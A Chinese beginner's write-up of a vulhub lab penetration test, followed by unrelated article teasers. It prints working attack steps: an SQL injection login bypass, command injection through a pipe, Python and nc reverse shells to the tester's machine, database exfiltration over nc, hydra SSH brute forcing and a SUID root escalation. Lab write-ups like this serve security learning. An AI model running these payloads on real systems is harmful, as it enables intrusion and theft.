当前位置: 首页 > news >正文

【打靶】vulhub打靶系列(一)—小白视野的渗透测试

主机探测

arpscan

arp-scan -l

另一种方法arping

for i in $(seq 1 200); do sudo arping -c 1 192.168.56.$i; done

注意这个必须是root权限

端口探测

nmap

nmap -p- -sV -T4 192.168.56.104

发现8080端口

web测试

访问下web页面

1、通过逻辑点绕过

发送到xia_sql发现可能存在sql注入

导入sql的fuzz字典跑包

发现返回包有异常,观察这些长度异常的payload,可以判断出是双引号自动闭合

那就直接” or 1 = 1 -- q绕过

2、爆破绕过

爆破许可证(相当于就是密码么):password

进一步测试

登入到这个页面之后进行观察:

发现是输入文件名进行扫描,相当于文件名起到一个选择扫描方式的作用,拼接管道符看能否是在bash或者temtrol上执行的

执行 ​​hello | ls​

页面回显,尝试监听进而更方便的执行指令

尝试监听

1、通过自带的python反弹shell

攻击机启动监听,反弹shell时候可以用网上烂大街的python反弹shell(因为前期通过nmap扫描发现有python2的环境)

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.128",5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

2、通过nc反弹shell【看运气,看人服务器上有无nc】

攻击机启动4444端口的监听

nc -nvlp 4444

web页面输入

hello|nc 192.168.56.102 4444 -e /bin/sh# hello 使页面正常运行
# 192.168.56.102 攻击机的ip
# -e /bin/bsh  反弹回服务器的shell
# 注意最后一段,我们不是单纯的为了监听,而是为了让他反弹shell过来

但实际执行之后发现4444未能接受到任何信息,说明很有可能是nc版本不同导致的-e参数无效,有这个猜想之后可以直接去掉-e看看监听是否有问题

hello|nc 192.168.56.102 4444

发现监听没问题,说明我们的猜想是对的

接下来通过串联nc的方式来代替-e参数反弹shell的问题

输入

hello |nc 192.168.56.102 4444 |/bin/bash |nc 192.168.56.102 3333# hello 确保web页面正常执行
# nc 192.168.56.102 4444监听攻击机的4444端口【建立连接】
# /bin/bash  将所有的指令传递给/bin/bash解析(管道符实现的)【传递指令并执行】
# nc 192.168.56.102 3333监听攻击机的3333端口【返回指令执行的结果】
# 【确保运行】|【建立连接】|【接受指令并解析】|【返回结果】

因此攻击机需要开启两个监听,4444用于建立连接,3333用于查看执行结果

成功监听

发现是scanner,权限不够,接下来的所有操作都是为了提权到root权限

主机信息收集

执行ls -l获取更多的信息,查看哪些是可以利用的文件或工具

看见root权限下有执行权限的两个文件

其实可以逐个看下

app.py

看下数据库文件

发现是sqlite3 的数据库文件(本地的数据库文件),看看有没有sqlite环境从而查看下数据库文件内的机密信息

转存数据库文件

在靶机开启nc将database的内容传给攻击机的5555端口

nc -nvlp 192.168.56.102 5555 # 连接攻击机的5555端口监听,并将database.sql的内容传递给攻击机的5555端口

在kali开启5555端口监听,将监听到的内容传递给db.sql中

nc 5555 > db1.sql
# 将nc的5555监听到的内容全部传给db.sql中

这里需要注意一个点,过一小会主动断掉连接,因为文件小,已经传完了,但没有回显所以你不知道

查看数据库

# sqlite3   --进入sqlite
> .open db1.sql  --打开db1文件
> .database     -- 进入数据库
> .dump        --dump下来

有了数据库密码,结合下用户

ssh爆破

监听上使用cat /etc/passwd|grep /bin/bash 获取到账号,结合这个数据库的密码尝试下ssh爆破(利用九头蛇)

hydra -l user -P password.txt ssh://192.168.56.104

执行后发现全部失败,爆破失败

进一步信息收集

向上跳一级查看其他文件

找见一个s权限文件,尝试通过这个文件间接执行root权限下的指令

SUID提权

cat update_cloudav.c

通过分析代码可以设想,当我们执行update_cloudav时必须跟上一个参数,尝试下a参数,命令行输入

./update_cloudav a

日志报错,但不清楚这个日志报错会对程序或者提权有怎样的作用,会不会影响后续提权等

所以正常尝试就好

依旧采用nc串联的方式尝试利用root权限

输入

./update_cloudav "a|nc 192.168.56.102 555|/bin/bash|nc 192.168.56.102 666"

并在攻击机开启监听(555和666端口的监听,指令依旧是nc -nvlp [端口号])

成功提权至root权限​

小bug:刚开始是监听向5555和6666但6666的监听不到,5555也是三次的两次监听不到,所以这种情况下换下端口就行!

相关文章:

【打靶】vulhub打靶系列(一)—小白视野的渗透测试

主机探测 arpscan arp-scan -l 另一种方法arping for i in $(seq 1 200); do sudo arping -c 1 192.168.56.$i; done 注意这个必须是root权限 ​ 端口探测 nmap nmap -p- -sV -T4 192.168.56.104 发现8080端口 web测试 访问下web页面 1、通过逻辑点绕过 发送到xia_sq…...

kafka3.X集群安装(不使用zookeeper)

参考: 【kafka专栏】不用zookeeper怎么安装kafka集群-最新kafka3.0版本 一、kafka集群实例角色规划 在本专栏的之前的一篇文章《kafka3种zk的替代方案》已经为大家介绍过在kafka3.0种已经可以将zookeeper去掉。 上图中黑色代表broker(消息代理服务)&…...

2023 年 的 DBA 有哪些变化?

作者:Craig S. Mullins 数据库专家,IBM 优化冠军,DB2 金牌顾问以及 IDUG 名人堂成员,数据库类畅销书作者,著有《DB2 Developers Guide》、《Database Administration: The Complete Guide to DBA Practices & Pro…...

vs2022 使用git同步报错以及解决每次推送要输入密码问题

1.使用 git GUI工具,例如:TortoiseGit ,把全局配置文件这样设置一下 设置全局.config ,这样即可。 [credential] helper store 2.如果推送代码或拉取代码一直失败,在当前的仓库下面,使用以下命令来重置一下密码 git …...

有哪些适用于 Windows 的PDF 阅读器?免费 PDF 阅读器清单

探索适用于 Windows 10 和 11 的最佳 PDF 阅读器 适用于 Windows 10 和 Windows 11 的最佳 PDF 阅读器让您可以在台式计算机上查看和共享文档。 最好的PDF 编辑器和免费的 PDF 编辑器配备了先进的工具,可以跨不同的操作系统工作。但是,当您只需要查看和…...

避雷!新增2本期刊被标记为「On Hold」,1区TOP刊仍在调查中!

近期小编在Master Journal List上查询期刊时偶然发现,又有2本期刊被科睿唯安标记为「On Hold」! 这2本期刊分别为MIGRATION LETTERS和REVISTA DE GESTAO E SECRETARIADO-GESEC. 此外还有6本期刊被标记为「On Hold」,目前共计8本期刊被「On …...

iOS 配置通用链接(Universal Link)服务端和开发者后台都配置好了,还是跳转不到App

目录 一、什么是 Universal Link? 1.背景介绍 2.特点 3.运行机制原理&流程图 二、配置教程 1.第一步:开启 Associated Domains 服务 1.1 开通 Associated Domains 2.第二步:服务器配置 apple-app-site-association(AAS…...

【环境】Linux下Anaconda/ Miniconda安装+百度Paddle环境搭建+Cudnn(3090显卡+CUDA11.8+cudnn8.6.0)

清华源帮助链接:https://mirror.tuna.tsinghua.edu.cn/help/anaconda/ 下载链接:https://mirrors.tuna.tsinghua.edu.cn/anaconda/miniconda/ 其他深度学习环境相关博文:【stable-diffusion】4090显卡下dreambooth、lora、sd模型微调的GUI环境…...

【Python机器学习】零基础掌握AdaBoostRegressor集成学习

有没有经历过这样的状况:需要预测未来房价走势,但传统的预测方法并不总是准确? 房价预测一直是人们关注的热点话题,无论是房产商、购房者,还是政府,都需要准确地知道未来房价的走势。那么,有没有一种更加精准、稳定的预测方法呢?答案是有的——AdaBoost Regressor算法…...

各种添加路由的方法

Linux 篇: ipv4: #添加到主机的路由 # route add –host 192.168.168.110 dev eth0 # route add –host 192.168.168.119 gw 192.168.168.1 #添加到网络的路由 # route add –net IP netmask MASK eth0 # route add –net IP netmask MASK gw IP # route add –n…...

MySQL外键

目录 一.外键 1.表与表之间建立关系 2.什么是外键 3.一对多关系 4.多对多关系 (1)建表会遇到的问题 (2)解决循环建表的问题 5.一对一关系、 6.小结 二.多表查询 1.数据准备 2.多表查询案例 (1)…...

自制数据库迁移工具-C版-02-HappySunshineV1.1-(支持Gbase8a)

目录 一、环境信息 二、简述 三、升级点 四、支持功能 五、安装包下载地址 六、配置参数介绍 七、安装步骤 1、配置环境变量 2、生效环境变量 3、检验动态链接是否正常 4、修改配置文件MigrationConfig.txt 八、运行效果 一、环境信息 名称值CPUIntel(R) Core(TM) i…...

k8s创建pod-affinity亲和性时报错解决办法

1.如下报错 Error from server (BadRequest): error when creating “pod-required-affinity-demo-2.yaml”: Pod in version “v1” cannot be handled as a Pod: json: cannot unmarshal string into Go struct field LabelSelectorRequirement.spec.affinity.podAffinity.re…...

基于边缘智能网关的储能系统安全监测管理方案

“储能系统充电”是配套新能源汽车产业发展的重要应用之一。得益于电池技术的发展,新能源汽车正逐步迈入快充时代,由于在使用快速充电桩时,可能导致用电峰值负荷超过电网的承载能力,对于电网的稳定性和持续性会有较大影响&#xf…...

大数据Flink(一百零一):SQL 表值函数(Table Function)

文章目录 SQL 表值函数(Table Function) SQL 表值函数(Table Function) Python UDTF,即 Python TableFunction,针对每一条输入数据,Python UDTF 可以产生 0 条、1 条或者多条输出数据,此外,一条输出数据可以包含多个列。比如以下示例,定义了一个名字为 split 的Pyt…...

内核进程初始化和创建

task_struct 1.进程的状态 分时技术进行多进程调度 重点:进程的创建是如何的? linux在初始化的过程中那个会进行0号进程的创建,fork sched_init(); 做了什么 内核态 不可抢占 用户态 可以抢占 move_to_user_mode(); 把内核状态切换到…...

【进程概念④】:进程地址空间(虚拟内存与物理内存)

【进程概念④】:进程地址空间(虚拟内存与物理内存) 一.进程地址空间二.分页与虚拟地址①.what②.how③.why 三.页表细节①.标志位②.缺页中断 四.总结意义 一.进程地址空间 你觉得我们代码中写的数据都在哪存储着呢? 在内存里存着&#xff0…...

C语言内存四分区

四个区域:代码区,全局区,栈区,堆区 ①代码区 存放所写代码,二进制内容 ②全局区(又分data区和bss区) 存放全局变量,静态变量,常量 data区:已经初始化的全局变…...

数据可视化报表分享:区域管理驾驶舱

在零售数据分析中,区域管理驾驶舱报表是用来分析企业运营数据,以制定销售策略和提高利润。因此这张报表需要整合大量数据,数据整合、分析、指标计算的工作量极大,在讲究高效率、高度及时性的大数据时代,BI数据可视化分…...

解决pip安装包后但是Pycharm检测不到

首先要知道python找包的原理:原理 之后把一下代码打印一下: import sys print(sys.executable)# /usr/bin/python2 print(sys.path)# [/usr/lib/python2.7, /usr/lib/python2.7/dist-packages, /usr/local/lib/python2.7/dist-packages] print(sys.prefi…...

51c自动驾驶~合集58

我自己的原文哦~ https://blog.51cto.com/whaosoft/13967107 #CCA-Attention 全局池化局部保留,CCA-Attention为LLM长文本建模带来突破性进展 琶洲实验室、华南理工大学联合推出关键上下文感知注意力机制(CCA-Attention),…...

循环冗余码校验CRC码 算法步骤+详细实例计算

通信过程:(白话解释) 我们将原始待发送的消息称为 M M M,依据发送接收消息双方约定的生成多项式 G ( x ) G(x) G(x)(意思就是 G ( x ) G(x) G(x) 是已知的)&#xff0…...

srs linux

下载编译运行 git clone https:///ossrs/srs.git ./configure --h265on make 编译完成后即可启动SRS # 启动 ./objs/srs -c conf/srs.conf # 查看日志 tail -n 30 -f ./objs/srs.log 开放端口 默认RTMP接收推流端口是1935,SRS管理页面端口是8080,可…...

2025 后端自学UNIAPP【项目实战:旅游项目】6、我的收藏页面

代码框架视图 1、先添加一个获取收藏景点的列表请求 【在文件my_api.js文件中添加】 // 引入公共的请求封装 import http from ./my_http.js// 登录接口(适配服务端返回 Token) export const login async (code, avatar) > {const res await http…...

智能仓储的未来:自动化、AI与数据分析如何重塑物流中心

当仓库学会“思考”,物流的终极形态正在诞生 想象这样的场景: 凌晨3点,某物流中心灯火通明却空无一人。AGV机器人集群根据实时订单动态规划路径;AI视觉系统在0.1秒内扫描包裹信息;数字孪生平台正模拟次日峰值流量压力…...

Linux --进程控制

本文从以下五个方面来初步认识进程控制: 目录 进程创建 进程终止 进程等待 进程替换 模拟实现一个微型shell 进程创建 在Linux系统中我们可以在一个进程使用系统调用fork()来创建子进程,创建出来的进程就是子进程,原来的进程为父进程。…...

高效线程安全的单例模式:Python 中的懒加载与自定义初始化参数

高效线程安全的单例模式:Python 中的懒加载与自定义初始化参数 在软件开发中,单例模式(Singleton Pattern)是一种常见的设计模式,确保一个类仅有一个实例,并提供一个全局访问点。在多线程环境下,实现单例模式时需要注意线程安全问题,以防止多个线程同时创建实例,导致…...

算法:模拟

1.替换所有的问号 1576. 替换所有的问号 - 力扣(LeetCode) ​遍历字符串​:通过外层循环逐一检查每个字符。​遇到 ? 时处理​: 内层循环遍历小写字母(a 到 z)。对每个字母检查是否满足: ​与…...

排序算法总结(C++)

目录 一、稳定性二、排序算法选择、冒泡、插入排序归并排序随机快速排序堆排序基数排序计数排序 三、总结 一、稳定性 排序算法的稳定性是指:同样大小的样本 **(同样大小的数据)**在排序之后不会改变原始的相对次序。 稳定性对基础类型对象…...

在Mathematica中实现Newton-Raphson迭代的收敛时间算法(一般三次多项式)

考察一般的三次多项式,以r为参数: p[z_, r_] : z^3 (r - 1) z - r; roots[r_] : z /. Solve[p[z, r] 0, z]; 此多项式的根为: 尽管看起来这个多项式是特殊的,其实一般的三次多项式都是可以通过线性变换化为这个形式…...